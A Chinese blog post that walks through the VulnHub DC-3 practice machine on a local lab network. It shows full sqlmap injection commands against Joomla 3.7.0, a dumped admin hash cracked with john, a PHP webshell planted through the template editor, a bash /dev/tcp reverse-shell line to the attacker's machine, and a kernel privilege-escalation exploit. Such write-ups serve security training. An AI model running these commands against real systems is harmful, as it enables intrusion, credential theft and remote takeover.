vulnhub DC-3

信息搜集

探测局域网内存活主机

nmap -sP 192.168.19.128/24

得到192.168.19.130,然后扫描探测开放的端口

nmap -p- 192.168.19.130

发现只有80端口开放,我们在浏览器中访问
image

渗透

按照上面的提示我们需要进行登录,提权等一系列操作.
先用whatweb进行一下扫描

whatweb -v 192.168.19.130

发现使用的是3.7.0版本的joomla框架.joomla是一种开源的cms框架.我们可以通过kali下的joomscan自动化工具进行版本和漏洞枚举.

joomscan -u 192.168.19.130

扫描得知admin finder(管理登录页面)为http://192.168.19.130/administrator/
我们可以使用searchsploit来进行漏洞搜索

searchsploit joomla 3.7.0

image

我们可以看到该版本存在两个漏洞,我们选择该版本特有的去打

searchsploit -p 42033

查看该exp对应的路径
image

然后直接查看该exp文件,发现给出了这个漏洞的sqlmap利用方法
image

我们把这个localhost换成靶机的ip进行扫描

sqlmap -u "http://192.168.19.130//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

得到如下数据库

[*] information_schema
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys

我们想要的是joomladb中的内容,因此我们爆破joomladb下的表

sqlmap -u "http://192.168.19.130//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables

得到了七十多个表,感觉其中的#__users表会有说法,我们爆一下其中的列

sqlmap -u "http://192.168.19.130//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T "#__users" --columns

image

对username和password进行查看

sqlmap -u "http://192.168.19.130//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T "#__users" -C "username,password" --dump

得到了账号和密码

username=admin,password=$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

我们不难猜出这个password是经过某种hash加密的结果.这里我们可以使用john来进行模糊哈希破解

echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > password
john password

得到了密码为snoopy
此时我们就能从之前得到的http://192.168.19.130/administrator/进行admin登录
接下来我们需要反弹一个shell.
在Extensions->Templates->Templates中创建文件,写一个文件马
image

然后我们使用蚁剑进行连接http://192.168.19.130/templates/beez3/webshell.php.注意:其中的templates/beez3这个路径是由joomla得到的,由于我们把马写到了根目录,因此连接路径如上.

提权

查看服务器的版本信息

cat /etc/issue

image

我们使用searchexploit去寻找该版本ubuntu存在的漏洞
image

发现其中的39772是有关previlege escalation的,我们选择这个打.
我们查看这个39772号文件,发现给出了漏洞利用方法和相应的文件以及使用方法
image

我们将39772.zip通过蚁剑传到tmp下(确保一定有写文件权限),然后执行如下命令

unzip 39772.zip 
cd 39772 
tar -xvf exploit.tar 
cd ebpf_mapfd_doubleput_exploit 
./compile.sh

发现多了个doubleput文件,但是尝试执行却并没有成功获得权限.这里不知道为什么
将shell反弹到kali下,在kali监听端口

nc -lvp 2333

然后在蚁剑中去反弹shell

bash -c 'bash -i >& /dev/tcp/192.168.19.128/2333 0>&1'

这里解释一下这个反弹shell的命令:

bash -c是将后面的字符串当做bash命令执行.
bash -i启动一个交互式的shell,>&表示将标准输出和标准错误进行重定向.
/dev/tcp/192.168.19.128/2333是一个特殊的文件路径,反映了linux可以通过文件路径进行网络连接的特点.
0>&1表示将标准输入重定向到和标准输出相同的地方.

然后我们回到kali下,发现可以进行交互,运行

./doubleput

成功提权,回到root home即可查看flag.
image

存在一个疑问点,就是为什么在蚁剑下不能进行提权,但是反弹shell后反而可以

posted @   meraklbz  阅读(17)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· Vue3状态管理终极指南:Pinia保姆级教程
点击右上角即可分享
微信分享提示